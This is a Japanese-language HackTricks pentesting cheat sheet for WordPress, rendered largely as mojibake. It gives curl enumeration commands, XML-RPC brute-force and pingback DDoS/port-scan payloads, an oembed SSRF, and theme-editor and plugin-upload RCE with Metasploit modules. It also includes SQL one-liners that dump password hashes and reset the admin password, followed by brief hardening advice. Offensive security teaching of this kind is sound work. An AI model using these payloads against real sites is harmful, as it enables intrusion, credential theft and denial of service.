hacktricks/network-services-pentesting/pentesting-web/wordpress.md

27 KiB
Raw Blame History

Wordpress

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥
  • サむバヌセキュリティ䌚瀟で働いおいたすか HackTricksで䌚瀟を宣䌝したいですかたたは、PEASSの最新バヌゞョンにアクセスしたり、HackTricksをPDFでダりンロヌドしたいですかSUBSCRIPTION PLANSをチェックしおください
  • The PEASS Familyを芋぀けおください。独占的なNFTのコレクションです。
  • 公匏のPEASSHackTricks swagを手に入れたしょう。
  • 💬 Discordグルヌプたたはtelegramグルヌプに参加するか、Twitterでフォロヌしおください🐊@carlospolopm。
  • ハッキングのトリックを共有するには、PRを hacktricks repo ず hacktricks-cloud repo に提出しおください。


Trickestを䜿甚しお、䞖界で最も高床なコミュニティツヌルによっお匷化されたワヌクフロヌを簡単に構築および自動化したす。
今すぐアクセスを取埗

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

基本情報

アップロヌドされたファむルは次の堎所に保存されたすhttp://10.10.10.10/wp-content/uploads/2018/08/a.txt
テヌマファむルは/wp-content/themes/にありたすので、テヌマのphpを倉曎しおRCEを取埗する堎合は、おそらくこのパスを䜿甚するこずになりたす。䟋えばtwentytwelveテヌマを䜿甚しお、次の堎所にある404.phpファむルにアクセスできたす/wp-content/themes/twentytwelve/404.php
別の有甚なURLは次のずおりです/wp-content/themes/default/404.php

wp-config.phpには、デヌタベヌスのルヌトパスワヌドが蚘茉されおいたす。

チェックするデフォルトのログむンパス/wp-login.php、/wp-login/、/wp-admin/、/wp-admin.php、/login/

メむンのWordPressファむル

  • index.php
  • license.txtには、むンストヌルされおいるWordPressのバヌゞョンなど、有甚な情報が含たれおいたす。
  • wp-activate.phpは、新しいWordPressサむトの蚭定時にメヌルアクティベヌションプロセスに䜿甚されたす。
  • ログむンフォルダ非衚瀺にするために名前が倉曎されおいる堎合がありたす
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.phpは、WordPressの機胜を衚すファむルで、HTTPをトランスポヌトメカニズムずしお、XMLを゚ンコヌディングメカニズムずしお䜿甚しおデヌタを送信するこずができたす。このタむプの通信は、WordPressのREST APIによっお眮き換えられたした。
  • wp-contentフォルダは、プラグむンずテヌマが保存されるメむンディレクトリです。
  • wp-content/uploads/は、プラットフォヌムにアップロヌドされたファむルが保存されるディレクトリです。
  • wp-includes/は、蚌明曞、フォント、JavaScriptファむル、りィゞェットなどのコアファむルが保存されるディレクトリです。

ポスト゚クスプロむテヌション

  • wp-config.phpファむルには、WordPressがデヌタベヌスに接続するために必芁な情報が含たれおいたす。デヌタベヌス名、デヌタベヌスホスト、ナヌザヌ名ずパスワヌド、認蚌キヌず゜ルト、デヌタベヌステヌブルの接頭蟞などです。この蚭定ファむルは、トラブルシュヌティングに圹立぀DEBUGモヌドをアクティブにするためにも䜿甚できたす。

ナヌザヌの暩限

  • 管理者
  • ゚ディタヌ自分自身ず他の投皿を公開および管理したす。
  • 著者自分自身の投皿を公開および管理したす。
  • 寄皿者自分の投皿を曞いお管理したすが、公開するこずはできたせん。
  • 賌読者投皿を閲芧し、プロフィヌルを線集したす。

パッシブ゚ナメレヌション

WordPressのバヌゞョンを取埗する

/license.txtたたは/readme.htmlのファむルを芋぀けるこずができるかどうかを確認したす。

ペヌゞの゜ヌスコヌド内䟋https://wordpress.org/support/article/pages/からの䟋

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link files

  • JavaScript files

プラグむンを取埗する

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

テヌマの取埗

WordPressでは、テヌマはりェブサむトの倖芳やレむアりトをカスタマむズするために䜿甚されたす。テヌマは通垞、WordPressの公匏テヌマディレクトリやテヌママヌケットプレむスから入手できたす。

以䞋の手順に埓っお、WordPressでテヌマを取埗するこずができたす。

  1. WordPressの管理画面にログむンしたす。
  2. 「倖芳」メニュヌから「テヌマ」を遞択したす。
  3. 「新芏远加」ボタンをクリックしたす。
  4. テヌマの䞀芧が衚瀺されたすので、興味のあるテヌマを遞択したす。
  5. テヌマの詳现ペヌゞで、「プレビュヌ」ボタンをクリックしお、テヌマの倖芳を確認したす。
  6. テヌマをむンストヌルする堎合は、「むンストヌル」ボタンをクリックしたす。
  7. むンストヌルが完了したら、「有効化」ボタンをクリックしお、テヌマを有効にしたす。

これで、WordPressで新しいテヌマを取埗しお利甚するこずができたす。

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

䞀般的なバヌゞョンの抜出

WordPressのバヌゞョンを特定するために、いく぀かの方法がありたす。

  1. メタデヌタの確認: WordPressのバヌゞョンは、HTMLのメタデヌタ内に蚘茉されおいるこずがありたす。りェブペヌゞの゜ヌスコヌドを衚瀺し、<meta name="generator" content="WordPress x.x.x" />ずいう行を探したす。x.x.xはWordPressのバヌゞョン番号です。

  2. リヌドミヌの確認: WordPressのバヌゞョンは、りェブサむトのルヌトディレクトリにあるreadme.htmlファむルにも蚘茉されおいたす。このファむルを衚瀺し、バヌゞョン番号を確認したす。

  3. ディレクトリ名の確認: WordPressのバヌゞョンは、むンストヌルされたディレクトリ名にも含たれおいる堎合がありたす。りェブサむトのURLを確認し、/wp-content/themes/たたは/wp-content/plugins/の埌に続くディレクトリ名にバヌゞョン番号が含たれおいるか確認したす。

これらの方法を䜿甚しお、WordPressのバヌゞョンを特定するこずができたす。

curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2


Trickestを䜿甚しお、䞖界で最も高床なコミュニティツヌルによっお匷化されたワヌクフロヌを簡単に構築し、自動化するこずができたす。
今すぐアクセスを取埗

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

アクティブな列挙

プラグむンずテヌマ

おそらく、すべおのプラグむンずテヌマを芋぀けるこずはできたせん。すべおを発芋するには、プラグむンずテヌマのリストをアクティブにブルヌトフォヌスする必芁がありたす幞いなこずに、このリストを含む自動化ツヌルがありたす。

ナヌザヌ

IDブルヌト

WordPressサむトから有効なナヌザヌを取埗するには、ナヌザヌIDをブルヌトフォヌスしたす

curl -s -I -X GET http://blog.example.com/?author=1

もしレスポンスが200たたは30Xであれば、それはidが有効であるこずを意味したす。もしレスポンスが400であれば、idは無効です。

wp-json

たた、ナヌザヌに関する情報を取埗するために、以䞋のようにク゚リを詊すこずもできたす。

curl http://blog.example.com/wp-json/wp/v2/users

この機胜を有効にしおいるナヌザヌに関する情報のみ提䟛されたす。

たた、/wp-json/wp/v2/pagesはIPアドレスを挏掩する可胜性がありたす。

ログむンナヌザヌ名の列挙

/wp-login.phpにログむンする際、メッセヌゞは、指定されたナヌザヌ名が存圚するかどうかによっお異なりたす。

XML-RPC

xml-rpc.phpがアクティブな堎合、資栌情報の総圓たり攻撃を実行したり、他のリ゜ヌスぞのDoS攻撃に䜿甚するこずができたすたずえば、こちらを䜿甚しおこのプロセスを自動化するこずができたす。

アクティブかどうかを確認するには、_/xmlrpc.php_にアクセスし、次のリク゚ストを送信しおください

チェック

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

資栌情報のブルヌトフォヌス攻撃

wp.getUserBlogs、wp.getCategories、たたは**metaWeblog.getUsersBlogs**は、資栌情報のブルヌトフォヌス攻撃に䜿甚できるいく぀かのメ゜ッドです。これらのいずれかを芋぀けるこずができれば、次のようなものを送信するこずができたす。

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

正しいナヌザヌ名ずパスワヌドを䜿甚しない堎合、200コヌドのレスポンス内には「ナヌザヌ名たたはパスワヌドが正しくありたせん」ずいうメッセヌゞが衚瀺されたす。

正しい資栌情報を䜿甚するず、ファむルをアップロヌドするこずができたす。レスポンスにはパスが衚瀺されたす (https://gist.github.com/georgestephanis/5681982)。

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

たた、同じリク゚ストで耇数の資栌情報を詊すこずができるため、system.multicallを䜿甚しお資栌情報のブルヌトフォヌス攻撃を行うより速い方法がありたす。

2FAのバむパス

この方法はプログラム向けであり、人間向けではなく、叀いため2FAをサポヌトしおいたせん。したがっお、有効な資栌情報を持っおいるが、メむンの入り口が2FAで保護されおいる堎合、xmlrpc.phpを悪甚しお2FAをバむパスしおログむンするこずができるかもしれたせん。ただし、コン゜ヌルを介しお行えるすべおのアクションを実行するこずはできたせんが、Ippsecがhttps://www.youtube.com/watch?v=p8mIdm93mfw&t=1130sで説明しおいるように、ただRCEに到達するこずができるかもしれたせん。

DDoSたたはポヌトスキャン

リスト内に_pingback.ping_メ゜ッドを芋぀けるこずができれば、Wordpressに任意のホスト/ポヌトに察しおリク゚ストを送信させるこずができたす。これを䜿甚しお、Wordpressの数千のサむトに特定の堎所したがっお、その堎所でDDoSが発生するぞのアクセスを芁求するこずができたす。たたは、Wordpressに内郚のネットワヌクをスキャンさせるこずもできたす任意のポヌトを指定できたす。

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

もしfaultCodeの倀が0よりも倧きい17堎合、それはポヌトが開いおいるこずを意味したす。

**system.multicall**の䜿甚方法を前のセクションで確認しお、このメ゜ッドを乱甚しおDDoS攻撃を匕き起こす方法を孊んでください。

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

このファむルは通垞、Wordpressサむトのルヌトに存圚したす/wp-cron.php
このファむルにアクセスするず、重いMySQL ク゚リが実行されるため、攻撃者はこれを䜿甚しおDoSを匕き起こすこずができたす。
たた、デフォルトでは、wp-cron.phpはすべおのペヌゞロヌドクラむアントがWordpressの任意のペヌゞをリク゚ストするたびにで呌び出されるため、高トラフィックのサむトでは問題を匕き起こす可胜性がありたすDoS。

Wp-Cronを無効にし、ホスト内に必芁なアクションを定期的に実行する実際のcronjobを䜜成するこずが掚奚されおいたす問題を匕き起こさずに。

/wp-json/oembed/1.0/proxy - SSRF

https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net にアクセスしお、Wordpressサむトがリク゚ストを行う可胜性がありたす。

これは機胜しない堎合の応答です

SSRF

{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}

このツヌルは、methodName: pingback.ping ずパス /wp-json/oembed/1.0/proxy の存圚をチェックし、存圚する堎合はそれらを悪甚しようずしたす。

自動ツヌル

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"


Trickestを䜿甚しお、䞖界で最も高床なコミュニティツヌルによっお匷化されたワヌクフロヌを簡単に構築し、自動化するこずができたす。
今すぐアクセスを取埗しおください

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

ビットを䞊曞きしおアクセスを取埗する

これは実際の攻撃ではなく、単なる興味です。CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-manでは、任意のWordPressファむルの1ビットを反転させるこずができたす。したがっお、ファむル/var/www/html/wp-includes/user.phpの䜍眮5389を反転させお、NOT!操䜜をNOP化するこずができたす。

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

パネルRCE

䜿甚されおいるテヌマのphpを倉曎する管理者の資栌情報が必芁

倖芳 → テヌマ゚ディタヌ → 404テンプレヌト右偎

phpシェルの内容を倉曎したす

むンタヌネットで曎新されたペヌゞにアクセスする方法を怜玢したす。この堎合、ここにアクセスする必芁がありたすhttp://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

次のコマンドを䜿甚できたす

use exploit/unix/webapp/wp_admin_shell_upload

プラグむンRCE

PHPプラグむン

プラグむンずしお.phpファむルをアップロヌドするこずが可胜かもしれたせん。
䟋えば、次のようにしおPHPバックドアを䜜成したす

次に、新しいプラグむンを远加したす

プラグむンをアップロヌドしお、「今すぐむンストヌル」を抌したす

「続行」をクリックしたす

おそらく、これは䜕も起こらないように芋えたすが、メディアに移動するず、アップロヌドされたシェルが衚瀺されたす

それにアクセスするず、逆シェルを実行するためのURLが衚瀺されたす

悪意のあるプラグむンのアップロヌドず有効化

(この郚分は https://www.hackingarticles.in/wordpress-reverse-shell/からコピヌされおいたす)

WordPressのダッシュボヌドにアクセスできる堎合、悪意のあるプラグむンをむンストヌルするこずができたす。ここでは、既に脆匱なプラグむンをexploit dbからダりンロヌドしたした。

緎習甚のプラグむンをダりンロヌドするには、ここをクリックしおください。

プラグむンのzipファむルがあるので、プラグむンをアップロヌドしたす。

ダッシュボヌド > プラグむン > プラグむンをアップロヌド

ダりンロヌドしたzipファむルを参照したす。

パッケヌゞが正垞にむンストヌルされたら、プラグむンを有効化する必芁がありたす。

すべおがうたく蚭定されおいる堎合は、攻撃を開始したす。脆匱なプラグむン「reflex-gallery」がむンストヌルされおいるため、簡単にexploitできたす。

この脆匱性のexploitはMetasploitフレヌムワヌク内にありたすので、以䞋のモゞュヌルをロヌドし、次のコマンドを実行したす

䞊蚘のコマンドが実行されるず、meterpreterセッションが確立されたす。この蚘事で説明されおいるように、WordPressプラットフォヌムのりェブサむトをexploitするための耇数の方法がありたす。

ポスト゚クスプロむテヌション

ナヌザヌ名ずパスワヌドを抜出したす

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

管理者パスワヌドの倉曎方法:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

WordPressの保護

定期的な曎新

WordPress、プラグむン、テヌマが最新であるこずを確認しおください。たた、wp-config.phpで自動曎新が有効になっおいるこずも確認しおください。

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

たた、信頌できるWordPressのプラグむンずテヌマのみをむンストヌルしおください。

セキュリティプラグむン

その他の掚奚事項

  • デフォルトのadminナヌザヌを削陀する
  • 匷力なパスワヌドず2芁玠認蚌を䜿甚する
  • 定期的にナヌザヌの暩限を確認する
  • ブルヌトフォヌス攻撃を防ぐために、ログむン詊行回数を制限する
  • **wp-admin.php**ファむルの名前を倉曎し、内郚からのアクセスたたは特定のIPアドレスからのみアクセスを蚱可する。


Trickestを䜿甚しお、䞖界で最も高床なコミュニティツヌルによっお匷化されたワヌクフロヌを簡単に構築および自動化したす。
今すぐアクセスを取埗

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥
  • サむバヌセキュリティ䌁業で働いおいたすか HackTricksで䌚瀟を宣䌝したいですかたたは、最新バヌゞョンのPEASSを入手したいですかたたは、HackTricksをPDFでダりンロヌドしたいですかSUBSCRIPTION PLANSをチェックしおください
  • The PEASS Familyを発芋したしょう、私たちの独占的なNFTコレクション
  • 公匏のPEASSHackTricksグッズを手に入れたしょう
  • 💬 Discordグルヌプたたはtelegramグルヌプに参加するか、Twitterで私をフォロヌしおください🐊@carlospolopm.
  • ハッキングのトリックを共有するには、PRを hacktricks repo および hacktricks-cloud repo に提出しおください。